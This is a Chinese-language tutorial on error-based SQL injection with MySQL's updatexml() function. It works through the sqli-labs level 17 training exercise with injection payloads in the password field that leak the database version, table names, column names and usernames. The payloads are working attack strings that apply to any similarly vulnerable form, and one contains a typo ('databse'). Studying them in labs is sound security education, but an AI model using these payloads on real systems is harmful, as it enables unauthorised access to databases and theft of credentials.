0%

SQL注入--报错注入

5fb77b6e0eaec.jpg

报错注入

错误的语句,会将信息连带显示出来,报错注入的函数有floor函数,updatexml函数,convert函数,等等。这里以updatexml为例

updatexml函数

1
2
3
4
5
6
7
首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

例题

这里以sqli-lab的17关为例

爆版本和数据库
1
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)--+ &submit=Submit
1
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,databse(),0x7e),1)--+ &submit=Submit
查表
1
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+ &submit=Submit
1
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+ &submit=Submit
查字段
1
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+ &submit=Submit
1
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1)--+ &submit=Submit
1
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1)--+ &submit=Submit
查值
1
2
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select username from 
(select username from users limit 0,1)text),0x7e),1) --+ &submit=Submit